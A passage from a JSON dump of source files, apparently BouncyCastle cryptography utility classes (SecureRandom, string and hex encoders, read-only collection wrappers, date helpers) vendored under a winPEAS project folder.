   {\n                    return new SecureRandom(prng);\n                }\n            }\n\n            throw new ArgumentException(\"Unrecognised PRNG algorithm: \" + algorithm, \"algorithm\");\n        }\n\n        [Obsolete(\"Call GenerateSeed() on a SecureRandom instance instead\")]\n        public static byte[] GetSeed(int length)\n        {\n            return GetNextBytes(Master, length);\n        }\n\n        protected readonly IRandomGenerator generator;\n\n        public SecureRandom()\n            : this(CreatePrng(\"SHA256\", true))\n        {\n        }\n\n        /// <remarks>\n        /// To replicate existing predictable output, replace with GetInstance(\"SHA1PRNG\", false), followed by SetSeed(seed)\n        /// </remarks>\n        [Obsolete(\"Use GetInstance/SetSeed instead\")]\n        public SecureRandom(byte[] seed)\n            : this(CreatePrng(\"SHA1\", false))\n        {\n            SetSeed(seed);\n        }\n\n        /// <summary>Use the specified instance of IRandomGenerator as random source.</summary>\n        /// <remarks>\n        /// This constructor performs no seeding of either the <c>IRandomGenerator</c> or the\n        /// constructed <c>SecureRandom</c>. It is the responsibility of the client to provide\n        /// proper seed material as necessary/appropriate for the given <c>IRandomGenerator</c>\n        /// implementation.\n        /// </remarks>\n        /// <param name=\"generator\">The source to generate all random bytes from.</param>\n        public SecureRandom(IRandomGenerator generator)\n            : base(0)\n        {\n            this.generator = generator;\n        }\n\n        public virtual byte[] GenerateSeed(int length)\n        {\n            return GetNextBytes(Master, length);\n        }\n\n        public virtual void SetSeed(byte[] seed)\n        {\n            generator.AddSeedMaterial(seed);\n        }\n\n        public virtual void SetSeed(long seed)\n        {\n            generator.AddSeedMaterial(seed);\n        }\n\n        public override int Next()\n        {\n            return NextInt() & int.MaxValue;\n        }\n\n        public override int Next(int maxValue)\n        {\n\n            if (maxValue < 2)\n            {\n                if (maxValue < 0)\n                    throw new ArgumentOutOfRangeException(\"maxValue\", \"cannot be negative\");\n\n                return 0;\n            }\n\n            int bits;\n\n            // Test whether maxValue is a power of 2\n            if ((maxValue & (maxValue - 1)) == 0)\n            {\n                bits = NextInt() & int.MaxValue;\n                return (int)(((long)bits * maxValue) >> 31);\n            }\n\n            int result;\n            do\n            {\n                bits = NextInt() & int.MaxValue;\n                result = bits % maxValue;\n            }\n            while (bits - result + (maxValue - 1) < 0); // Ignore results near overflow\n\n            return result;\n        }\n\n        public override int Next(int minValue, int maxValue)\n        {\n            if (maxValue <= minValue)\n            {\n                if (maxValue == minValue)\n                    return minValue;\n\n                throw new ArgumentException(\"maxValue cannot be less than minValue\");\n            }\n\n            int diff = maxValue - minValue;\n            if (diff > 0)\n                return minValue + Next(diff);\n\n            for (; ; )\n            {\n                int i = NextInt();\n\n                if (i >= minValue && i < maxValue)\n                    return i;\n            }\n        }\n\n        public override void NextBytes(byte[] buf)\n        {\n            generator.NextBytes(buf);\n        }\n\n        public virtual void NextBytes(byte[] buf, int off, int len)\n        {\n            generator.NextBytes(buf, off, len);\n        }\n\n        private static readonly double DoubleScale = 1.0 / Convert.ToDouble(1L << 53);\n\n        public override double NextDouble()\n        {\n            ulong x = (ulong)NextLong() >> 11;\n\n            return Convert.ToDouble(x) * DoubleScale;\n        }\n\n        public virtual int NextInt()\n        {\n            byte[] bytes = new byte[4];\n            NextBytes(bytes);\n            return (int)Pack.BE_To_UInt32(bytes);\n        }\n\n        public virtual long NextLong()\n        {\n            byte[] bytes = new byte[8];\n            NextBytes(bytes);\n            return (long)Pack.BE_To_UInt64(bytes);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/security/SecurityUtilityException.cs",
    "content": "﻿using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle.security\n{\n#if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE)\n    [Serializable]\n#endif\n    public class SecurityUtilityException\n        : Exception\n    {\n        /**\n        * base constructor.\n        */\n        public SecurityUtilityException()\n        {\n        }\n\n        /**\n         * create a SecurityUtilityException with the given message.\n         *\n         * @param message the message to be carried with the exception.\n         */\n        public SecurityUtilityException(\n            string message)\n            : base(message)\n        {\n        }\n\n        public SecurityUtilityException(\n            string message,\n            Exception exception)\n            : base(message, exception)\n        {\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/Enums.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.util.date;\n\n#if NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE\nusing System.Collections;\nusing System.Reflection;\n#endif\n\nnamespace winPEAS._3rdParty.BouncyCastle.util\n{\n    internal abstract class Enums\n    {\n        internal static Enum GetEnumValue(System.Type enumType, string s)\n        {\n            if (!IsEnumType(enumType))\n                throw new ArgumentException(\"Not an enumeration type\", \"enumType\");\n\n            // We only want to parse single named constants\n            if (s.Length > 0 && char.IsLetter(s[0]) && s.IndexOf(',') < 0)\n            {\n                s = s.Replace('-', '_');\n                s = s.Replace('/', '_');\n\n#if NETCF_1_0\n                FieldInfo field = enumType.GetField(s, BindingFlags.Static | BindingFlags.Public);\n                if (field != null)\n                {\n                    return (Enum)field.GetValue(null);\n                }\n#else\n                return (Enum)Enum.Parse(enumType, s, false);\n#endif\t\t\n            }\n\n            throw new ArgumentException();\n        }\n\n        internal static Array GetEnumValues(System.Type enumType)\n        {\n            if (!IsEnumType(enumType))\n                throw new ArgumentException(\"Not an enumeration type\", \"enumType\");\n\n#if NETCF_1_0 || NETCF_2_0 || SILVERLIGHT\n            IList result = Platform.CreateArrayList();\n            FieldInfo[] fields = enumType.GetFields(BindingFlags.Static | BindingFlags.Public);\n            foreach (FieldInfo field in fields)\n            {\n                // Note: Argument to GetValue() ignored since the fields are static,\n                //     but Silverlight for Windows Phone throws exception if we pass null\n                result.Add(field.GetValue(enumType));\n            }\n            object[] arr = new object[result.Count];\n            result.CopyTo(arr, 0);\n            return arr;\n#else\n            return Enum.GetValues(enumType);\n#endif\n        }\n\n        internal static Enum GetArbitraryValue(System.Type enumType)\n        {\n            Array values = GetEnumValues(enumType);\n            int pos = (int)(DateTimeUtilities.CurrentUnixMs() & int.MaxValue) % values.Length;\n            return (Enum)values.GetValue(pos);\n        }\n\n        internal static bool IsEnumType(System.Type t)\n        {\n#if NEW_REFLECTION\n            return t.GetTypeInfo().IsEnum;\n#else\n            return t.IsEnum;\n#endif\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/IMemoable.cs",
    "content": "﻿using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util\n{\n\tpublic interface IMemoable\n\t{\n\t\t/// <summary>\n\t\t/// Produce a copy of this object with its configuration and in its current state.\n\t\t/// </summary>\n\t\t/// <remarks>\n\t\t/// The returned object may be used simply to store the state, or may be used as a similar object\n\t\t/// starting from the copied state.\n\t\t/// </remarks>\n\t\tIMemoable Copy();\n\n\t\t/// <summary>\n\t\t/// Restore a copied object state into this object.\n\t\t/// </summary>\n\t\t/// <remarks>\n\t\t/// Implementations of this method <em>should</em> try to avoid or minimise memory allocation to perform the reset.\n\t\t/// </remarks>\n\t\t/// <param name=\"other\">an object originally {@link #copy() copied} from an object of the same type as this instance.</param>\n\t\t/// <exception cref=\"InvalidCastException\">if the provided object is not of the correct type.</exception>\n\t\t/// <exception cref=\"MemoableResetException\">if the <b>other</b> parameter is in some other way invalid.</exception>\n\t\tvoid Reset(IMemoable other);\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/MemoableResetException.cs",
    "content": "﻿using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util\n{\n    /**\n     * Exception to be thrown on a failure to reset an object implementing Memoable.\n     * <p>\n     * The exception extends InvalidCastException to enable users to have a single handling case,\n     * only introducing specific handling of this one if required.\n     * </p>\n     */\n    public class MemoableResetException\n        : InvalidCastException\n    {\n        /**\n         * Basic Constructor.\n         *\n         * @param msg message to be associated with this exception.\n         */\n        public MemoableResetException(string msg)\n            : base(msg)\n        {\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/Strings.cs",
    "content": "﻿using System;\nusing System.Text;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util\n{\n    /// <summary> General string utilities.</summary>\n    public abstract class Strings\n    {\n\n        public static string ToUpperCase(string original)\n        {\n            bool changed = false;\n            char[] chars = original.ToCharArray();\n\n            for (int i = 0; i != chars.Length; i++)\n            {\n                char ch = chars[i];\n                if ('a' <= ch && 'z' >= ch)\n                {\n                    changed = true;\n                    chars[i] = (char)(ch - 'a' + 'A');\n                }\n            }\n\n            if (changed)\n            {\n                return new String(chars);\n            }\n\n            return original;\n        }\n\n\n        internal static bool IsOneOf(string s, params string[] candidates)\n        {\n            foreach (string candidate in candidates)\n            {\n                if (s == candidate)\n                    return true;\n            }\n            return false;\n        }\n\n        public static string FromByteArray(\n            byte[] bs)\n        {\n            char[] cs = new char[bs.Length];\n            for (int i = 0; i < cs.Length; ++i)\n            {\n                cs[i] = Convert.ToChar(bs[i]);\n            }\n            return new string(cs);\n        }\n\n        public static byte[] ToByteArray(\n            char[] cs)\n        {\n            byte[] bs = new byte[cs.Length];\n            for (int i = 0; i < bs.Length; ++i)\n            {\n                bs[i] = Convert.ToByte(cs[i]);\n            }\n            return bs;\n        }\n\n        public static byte[] ToByteArray(\n            string s)\n        {\n            byte[] bs = new byte[s.Length];\n            for (int i = 0; i < bs.Length; ++i)\n            {\n                bs[i] = Convert.ToByte(s[i]);\n            }\n            return bs;\n        }\n\n        public static string FromAsciiByteArray(\n            byte[] bytes)\n        {\n#if SILVERLIGHT || PORTABLE\n            // TODO Check for non-ASCII bytes in input?\n            return Encoding.UTF8.GetString(bytes, 0, bytes.Length);\n#else\n            return Encoding.ASCII.GetString(bytes, 0, bytes.Length);\n#endif\n        }\n\n        public static byte[] ToAsciiByteArray(\n            char[] cs)\n        {\n#if SILVERLIGHT || PORTABLE\n            // TODO Check for non-ASCII characters in input?\n            return Encoding.UTF8.GetBytes(cs);\n#else\n            return Encoding.ASCII.GetBytes(cs);\n#endif\n        }\n\n        public static byte[] ToAsciiByteArray(\n            string s)\n        {\n#if SILVERLIGHT || PORTABLE\n            // TODO Check for non-ASCII characters in input?\n            return Encoding.UTF8.GetBytes(s);\n#else\n            return Encoding.ASCII.GetBytes(s);\n#endif\n        }\n\n        public static string FromUtf8ByteArray(\n            byte[] bytes)\n        {\n            return Encoding.UTF8.GetString(bytes, 0, bytes.Length);\n        }\n\n        public static byte[] ToUtf8ByteArray(\n            char[] cs)\n        {\n            return Encoding.UTF8.GetBytes(cs);\n        }\n\n        public static byte[] ToUtf8ByteArray(\n            string s)\n        {\n            return Encoding.UTF8.GetBytes(s);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/CollectionUtilities.cs",
    "content": "﻿using System;\nusing System.Collections;\nusing System.Text;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.collections\n{\n    public abstract class CollectionUtilities\n    {\n        public static void AddRange(IList to, IEnumerable range)\n        {\n            foreach (object o in range)\n            {\n                to.Add(o);\n            }\n        }\n\n        public static bool CheckElementsAreOfType(IEnumerable e, Type t)\n        {\n            foreach (object o in e)\n            {\n                if (!t.IsInstanceOfType(o))\n                    return false;\n            }\n            return true;\n        }\n\n        public static IDictionary ReadOnly(IDictionary d)\n        {\n            return new UnmodifiableDictionaryProxy(d);\n        }\n\n        public static IList ReadOnly(IList l)\n        {\n            return new UnmodifiableListProxy(l);\n        }\n\n        public static ISet ReadOnly(ISet s)\n        {\n            return new UnmodifiableSetProxy(s);\n        }\n\n        public static object RequireNext(IEnumerator e)\n        {\n            if (!e.MoveNext())\n                throw new InvalidOperationException();\n\n            return e.Current;\n        }\n\n        public static string ToString(IEnumerable c)\n        {\n            IEnumerator e = c.GetEnumerator();\n            if (!e.MoveNext())\n                return \"[]\";\n\n            StringBuilder sb = new StringBuilder(\"[\");\n            sb.Append(e.Current.ToString());\n            while (e.MoveNext())\n            {\n                sb.Append(\", \");\n                sb.Append(e.Current.ToString());\n            }\n            sb.Append(']');\n            return sb.ToString();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/ISet.cs",
    "content": "﻿using System.Collections;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.collections\n{\n\tpublic interface ISet\n\t : ICollection\n\t{\n\t\tvoid Add(object o);\n\t\tvoid AddAll(IEnumerable e);\n\t\tvoid Clear();\n\t\tbool Contains(object o);\n\t\tbool IsEmpty { get; }\n\t\tbool IsFixedSize { get; }\n\t\tbool IsReadOnly { get; }\n\t\tvoid Remove(object o);\n\t\tvoid RemoveAll(IEnumerable e);\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/UnmodifiableDictionary.cs",
    "content": "﻿using System;\nusing System.Collections;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.collections\n{\n\tpublic abstract class UnmodifiableDictionary\n\t : IDictionary\n\t{\n\t\tprotected UnmodifiableDictionary()\n\t\t{\n\t\t}\n\n\t\tpublic virtual void Add(object k, object v)\n\t\t{\n\t\t\tthrow new NotSupportedException();\n\t\t}\n\n\t\tpublic virtual void Clear()\n\t\t{\n\t\t\tthrow new NotSupportedException();\n\t\t}\n\n\t\tpublic abstract bool Contains(object k);\n\n\t\tpublic abstract void CopyTo(Array array, int index);\n\n\t\tpublic abstract int Count { get; }\n\n\t\tIEnumerator IEnumerable.GetEnumerator()\n\t\t{\n\t\t\treturn GetEnumerator();\n\t\t}\n\n\t\tpublic abstract IDictionaryEnumerator GetEnumerator();\n\n\t\tpublic virtual void Remove(object k)\n\t\t{\n\t\t\tthrow new NotSupportedException();\n\t\t}\n\n\t\tpublic abstract bool IsFixedSize { get; }\n\n\t\tpublic virtual bool IsReadOnly\n\t\t{\n\t\t\tget { return true; }\n\t\t}\n\n\t\tpublic abstract bool IsSynchronized { get; }\n\n\t\tpublic abstract object SyncRoot { get; }\n\n\t\tpublic abstract ICollection Keys { get; }\n\n\t\tpublic abstract ICollection Values { get; }\n\n\t\tpublic virtual object this[object k]\n\t\t{\n\t\t\tget { return GetValue(k); }\n\t\t\tset { throw new NotSupportedException(); }\n\t\t}\n\n\t\tprotected abstract object GetValue(object k);\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/UnmodifiableDictionaryProxy.cs",
    "content": "﻿using System;\nusing System.Collections;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.collections\n{\n\tpublic class UnmodifiableDictionaryProxy\n\t : UnmodifiableDictionary\n\t{\n\t\tprivate readonly IDictionary d;\n\n\t\tpublic UnmodifiableDictionaryProxy(IDictionary d)\n\t\t{\n\t\t\tthis.d = d;\n\t\t}\n\n\t\tpublic override bool Contains(object k)\n\t\t{\n\t\t\treturn d.Contains(k);\n\t\t}\n\n\t\tpublic override void CopyTo(Array array, int index)\n\t\t{\n\t\t\td.CopyTo(array, index);\n\t\t}\n\n\t\tpublic override int Count\n\t\t{\n\t\t\tget { return d.Count; }\n\t\t}\n\n\t\tpublic override IDictionaryEnumerator GetEnumerator()\n\t\t{\n\t\t\treturn d.GetEnumerator();\n\t\t}\n\n\t\tpublic override bool IsFixedSize\n\t\t{\n\t\t\tget { return d.IsFixedSize; }\n\t\t}\n\n\t\tpublic override bool IsSynchronized\n\t\t{\n\t\t\tget { return d.IsSynchronized; }\n\t\t}\n\n\t\tpublic override object SyncRoot\n\t\t{\n\t\t\tget { return d.SyncRoot; }\n\t\t}\n\n\t\tpublic override ICollection Keys\n\t\t{\n\t\t\tget { return d.Keys; }\n\t\t}\n\n\t\tpublic override ICollection Values\n\t\t{\n\t\t\tget { return d.Values; }\n\t\t}\n\n\t\tprotected override object GetValue(object k)\n\t\t{\n\t\t\treturn d[k];\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/UnmodifiableList.cs",
    "content": "﻿using System;\nusing System.Collections;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.collections\n{\n\tpublic abstract class UnmodifiableList\n\t: IList\n\t{\n\t\tprotected UnmodifiableList()\n\t\t{\n\t\t}\n\n\t\tpublic virtual int Add(object o)\n\t\t{\n\t\t\tthrow new NotSupportedException();\n\t\t}\n\n\t\tpublic virtual void Clear()\n\t\t{\n\t\t\tthrow new NotSupportedException();\n\t\t}\n\n\t\tpublic abstract bool Contains(object o);\n\n\t\tpublic abstract void CopyTo(Array array, int index);\n\n\t\tpublic abstract int Count { get; }\n\n\t\tpublic abstract IEnumerator GetEnumerator();\n\n\t\tpublic abstract int IndexOf(object o);\n\n\t\tpublic virtual void Insert(int i, object o)\n\t\t{\n\t\t\tthrow new NotSupportedException();\n\t\t}\n\n\t\tpublic abstract bool IsFixedSize { get; }\n\n\t\tpublic virtual bool IsReadOnly\n\t\t{\n\t\t\tget { return true; }\n\t\t}\n\n\t\tpublic abstract bool IsSynchronized { get; }\n\n\t\tpublic virtual void Remove(object o)\n\t\t{\n\t\t\tthrow new NotSupportedException();\n\t\t}\n\n\t\tpublic virtual void RemoveAt(int i)\n\t\t{\n\t\t\tthrow new NotSupportedException();\n\t\t}\n\n\t\tpublic abstract object SyncRoot { get; }\n\n\t\tpublic virtual object this[int i]\n\t\t{\n\t\t\tget { return GetValue(i); }\n\t\t\tset { throw new NotSupportedException(); }\n\t\t}\n\n\t\tprotected abstract object GetValue(int i);\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/UnmodifiableListProxy.cs",
    "content": "﻿using System;\nusing System.Collections;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.collections\n{\n\tpublic class UnmodifiableListProxy\n\t : UnmodifiableList\n\t{\n\t\tprivate readonly IList l;\n\n\t\tpublic UnmodifiableListProxy(IList l)\n\t\t{\n\t\t\tthis.l = l;\n\t\t}\n\n\t\tpublic override bool Contains(object o)\n\t\t{\n\t\t\treturn l.Contains(o);\n\t\t}\n\n\t\tpublic override void CopyTo(Array array, int index)\n\t\t{\n\t\t\tl.CopyTo(array, index);\n\t\t}\n\n\t\tpublic override int Count\n\t\t{\n\t\t\tget { return l.Count; }\n\t\t}\n\n\t\tpublic override IEnumerator GetEnumerator()\n\t\t{\n\t\t\treturn l.GetEnumerator();\n\t\t}\n\n\t\tpublic override int IndexOf(object o)\n\t\t{\n\t\t\treturn l.IndexOf(o);\n\t\t}\n\n\t\tpublic override bool IsFixedSize\n\t\t{\n\t\t\tget { return l.IsFixedSize; }\n\t\t}\n\n\t\tpublic override bool IsSynchronized\n\t\t{\n\t\t\tget { return l.IsSynchronized; }\n\t\t}\n\n\t\tpublic override object SyncRoot\n\t\t{\n\t\t\tget { return l.SyncRoot; }\n\t\t}\n\n\t\tprotected override object GetValue(int i)\n\t\t{\n\t\t\treturn l[i];\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/UnmodifiableSet.cs",
    "content": "﻿using System;\nusing System.Collections;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.collections\n{\n\tpublic abstract class UnmodifiableSet\n\t\t  : ISet\n\t{\n\t\tprotected UnmodifiableSet()\n\t\t{\n\t\t}\n\n\t\tpublic virtual void Add(object o)\n\t\t{\n\t\t\tthrow new NotSupportedException();\n\t\t}\n\n\t\tpublic virtual void AddAll(IEnumerable e)\n\t\t{\n\t\t\tthrow new NotSupportedException();\n\t\t}\n\n\t\tpublic virtual void Clear()\n\t\t{\n\t\t\tthrow new NotSupportedException();\n\t\t}\n\n\t\tpublic abstract bool Contains(object o);\n\n\t\tpublic abstract void CopyTo(Array array, int index);\n\n\t\tpublic abstract int Count { get; }\n\n\t\tpublic abstract IEnumerator GetEnumerator();\n\n\t\tpublic abstract bool IsEmpty { get; }\n\n\t\tpublic abstract bool IsFixedSize { get; }\n\n\t\tpublic virtual bool IsReadOnly\n\t\t{\n\t\t\tget { return true; }\n\t\t}\n\n\t\tpublic abstract bool IsSynchronized { get; }\n\n\t\tpublic abstract object SyncRoot { get; }\n\n\t\tpublic virtual void Remove(object o)\n\t\t{\n\t\t\tthrow new NotSupportedException();\n\t\t}\n\n\t\tpublic virtual void RemoveAll(IEnumerable e)\n\t\t{\n\t\t\tthrow new NotSupportedException();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/UnmodifiableSetProxy.cs",
    "content": "﻿using System;\nusing System.Collections;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.collections\n{\n\tpublic class UnmodifiableSetProxy\n\t\t : UnmodifiableSet\n\t{\n\t\tprivate readonly ISet s;\n\n\t\tpublic UnmodifiableSetProxy(ISet s)\n\t\t{\n\t\t\tthis.s = s;\n\t\t}\n\n\t\tpublic override bool Contains(object o)\n\t\t{\n\t\t\treturn s.Contains(o);\n\t\t}\n\n\t\tpublic override void CopyTo(Array array, int index)\n\t\t{\n\t\t\ts.CopyTo(array, index);\n\t\t}\n\n\t\tpublic override int Count\n\t\t{\n\t\t\tget { return s.Count; }\n\t\t}\n\n\t\tpublic override IEnumerator GetEnumerator()\n\t\t{\n\t\t\treturn s.GetEnumerator();\n\t\t}\n\n\t\tpublic override bool IsEmpty\n\t\t{\n\t\t\tget { return s.IsEmpty; }\n\t\t}\n\n\t\tpublic override bool IsFixedSize\n\t\t{\n\t\t\tget { return s.IsFixedSize; }\n\t\t}\n\n\t\tpublic override bool IsSynchronized\n\t\t{\n\t\t\tget { return s.IsSynchronized; }\n\t\t}\n\n\t\tpublic override object SyncRoot\n\t\t{\n\t\t\tget { return s.SyncRoot; }\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/date/DateTimeUtilities.cs",
    "content": "﻿using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.date\n{\n\tpublic class DateTimeUtilities\n\t{\n\t\tpublic static readonly DateTime UnixEpoch = new DateTime(1970, 1, 1);\n\n\t\tprivate DateTimeUtilities()\n\t\t{\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Return the number of milliseconds since the Unix epoch (1 Jan., 1970 UTC) for a given DateTime value.\n\t\t/// </summary>\n\t\t/// <param name=\"dateTime\">A UTC DateTime value not before epoch.</param>\n\t\t/// <returns>Number of whole milliseconds after epoch.</returns>\n\t\t/// <exception cref=\"ArgumentException\">'dateTime' is before epoch.</exception>\n\t\tpublic static long DateTimeToUnixMs(\n\t\t\tDateTime dateTime)\n\t\t{\n\t\t\tif (dateTime.CompareTo(UnixEpoch) < 0)\n\t\t\t\tthrow new ArgumentException(\"DateTime value may not be before the epoch\", \"dateTime\");\n\n\t\t\treturn (dateTime.Ticks - UnixEpoch.Ticks) / TimeSpan.TicksPerMillisecond;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Create a DateTime value from the number of milliseconds since the Unix epoch (1 Jan., 1970 UTC).\n\t\t/// </summary>\n\t\t/// <param name=\"unixMs\">Number of milliseconds since the epoch.</param>\n\t\t/// <returns>A UTC DateTime value</returns>\n\t\tpublic static DateTime UnixMsToDateTime(\n\t\t\tlong unixMs)\n\t\t{\n\t\t\treturn new DateTime(unixMs * TimeSpan.TicksPerMillisecond + UnixEpoch.Ticks);\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Return the current number of milliseconds since the Unix epoch (1 Jan., 1970 UTC).\n\t\t/// </summary>\n\t\tpublic static long CurrentUnixMs()\n\t\t{\n\t\t\treturn DateTimeToUnixMs(DateTime.UtcNow);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/encoders/Hex.cs",
    "content": "﻿using System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.encoders\n{\n    /// <summary>\n    /// Class to decode and encode Hex.\n    /// </summary>\n    public sealed class Hex\n    {\n        private static readonly HexEncoder encoder = new HexEncoder();\n\n        private Hex()\n        {\n        }\n\n        public static string ToHexString(\n            byte[] data)\n        {\n            return ToHexString(data, 0, data.Length);\n        }\n\n        public static string ToHexString(\n            byte[] data,\n            int off,\n            int length)\n        {\n            byte[] hex = Encode(data, off, length);\n            return Strings.FromAsciiByteArray(hex);\n        }\n\n        /**\n         * encode the input data producing a Hex encoded byte array.\n         *\n         * @return a byte array containing the Hex encoded data.\n         */\n        public static byte[] Encode(\n            byte[] data)\n        {\n            return Encode(data, 0, data.Length);\n        }\n\n        /**\n         * encode the input data producing a Hex encoded byte array.\n         *\n         * @return a byte array containing the Hex encoded data.\n         */\n        public static byte[] Encode(\n            byte[] data,\n            int off,\n            int length)\n        {\n            MemoryStream bOut = new MemoryStream(length * 2);\n\n            encoder.Encode(data, off, length, bOut);\n\n            return bOut.ToArray();\n        }\n\n        /**\n         * Hex encode the byte data writing it to the given output stream.\n         *\n         * @return the number of bytes produced.\n         */\n        public static int Encode(\n            byte[] data,\n            Stream outStream)\n        {\n            return encoder.Encode(data, 0, data.Length, outStream);\n        }\n\n        /**\n         * Hex encode the byte data writing it to the given output stream.\n         *\n         * @return the number of bytes produced.\n         */\n        public static int Encode(\n            byte[] data,\n            int off,\n            int length,\n            Stream outStream)\n        {\n            return encoder.Encode(data, off, length, outStream);\n        }\n\n        /**\n         * decode the Hex encoded input data. It is assumed the input data is valid.\n         *\n         * @return a byte array representing the decoded data.\n         */\n        public static byte[] Decode(\n            byte[] data)\n        {\n            MemoryStream bOut = new MemoryStream((data.Length + 1) / 2);\n\n            encoder.Decode(data, 0, data.Length, bOut);\n\n            return bOut.ToArray();\n        }\n\n        /**\n         * decode the Hex encoded string data - whitespace will be ignored.\n         *\n         * @return a byte array representing the decoded data.\n         */\n        public static byte[] Decode(\n            string data)\n        {\n            MemoryStream bOut = new MemoryStream((data.Length + 1) / 2);\n\n            encoder.DecodeString(data, bOut);\n\n            return bOut.ToArray();\n        }\n\n        /**\n         * decode the Hex encoded string data writing it to the given output stream,\n         * whitespace characters will be ignored.\n         *\n         * @return the number of bytes produced.\n         */\n        public static int Decode(\n            string data,\n            Stream outStream)\n        {\n            return encoder.DecodeString(data, outStream);\n        }\n\n        /**\n         * Decode the hexadecimal-encoded string strictly i.e. any non-hexadecimal characters will be\n         * considered an error.\n         *\n         * @return a byte array representing the decoded data.\n         */\n        public static byte[] DecodeStrict(string str)\n        {\n            return encoder.DecodeStrict(str, 0, str.Length);\n        }\n\n        /**\n         * Decode the hexadecimal-encoded string strictly i.e. any non-hexadecimal characters will be\n         * considered an error.\n         *\n         * @return a byte array representing the decoded data.\n         */\n        public static byte[] DecodeStrict(string str, int off, int len)\n        {\n            return encoder.DecodeStrict(str, off, len);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/encoders/HexEncoder.cs",
    "content": "﻿using System;\nusing System.IO;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.encoders\n{\n    public class HexEncoder\n        : IEncoder\n    {\n        protected readonly byte[] encodingTable =\n        {\n            (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7',\n            (byte)'8', (byte)'9', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f'\n        };\n\n        /*\n         * set up the decoding table.\n         */\n        protected readonly byte[] decodingTable = new byte[128];\n\n        protected void InitialiseDecodingTable()\n        {\n            Arrays.Fill(decodingTable, (byte)0xff);\n\n            for (int i = 0; i < encodingTable.Length; i++)\n            {\n                decodingTable[encodingTable[i]] = (byte)i;\n            }\n\n            decodingTable['A'] = decodingTable['a'];\n            decodingTable['B'] = decodingTable['b'];\n            decodingTable['C'] = decodingTable['c'];\n            decodingTable['D'] = decodingTable['d'];\n            decodingTable['E'] = decodingTable['e'];\n            decodingTable['F'] = decodingTable['f'];\n        }\n\n        public HexEncoder()\n        {\n            InitialiseDecodingTable();\n        }\n\n        public int Encode(byte[] inBuf, int inOff, int inLen, byte[] outBuf, int outOff)\n        {\n            int inPos = inOff;\n            int inEnd = inOff + inLen;\n            int outPos = outOff;\n\n            while (inPos < inEnd)\n            {\n                uint b = inBuf[inPos++];\n\n                outBuf[outPos++] = encodingTable[b >> 4];\n                outBuf[outPos++] = encodingTable[b & 0xF];\n            }\n\n            return outPos - outOff;\n        }\n\n        /**\n        * encode the input data producing a Hex output stream.\n        *\n        * @return the number of bytes produced.\n        */\n        public int Encode(byte[] buf, int off, int len, Stream outStream)\n        {\n            byte[] tmp = new byte[72];\n            while (len > 0)\n            {\n                int inLen = System.Math.Min(36, len);\n                int outLen = Encode(buf, off, inLen, tmp, 0);\n                outStream.Write(tmp, 0, outLen);\n                off += inLen;\n                len -= inLen;\n            }\n            return len * 2;\n        }\n\n        private static bool Ignore(char c)\n        {\n            return c == '\\n' || c == '\\r' || c == '\\t' || c == ' ';\n        }\n\n        /**\n        * decode the Hex encoded byte data writing it to the given output stream,\n        * whitespace characters will be ignored.\n        *\n        * @return the number of bytes produced.\n        */\n        public int Decode(\n            byte[] data,\n            int off,\n            int length,\n            Stream outStream)\n        {\n            byte b1, b2;\n            int outLen = 0;\n            byte[] buf = new byte[36];\n            int bufOff = 0;\n            int end = off + length;\n\n            while (end > off)\n            {\n                if (!Ignore((char)data[end - 1]))\n                {\n                    break;\n                }\n\n                end--;\n     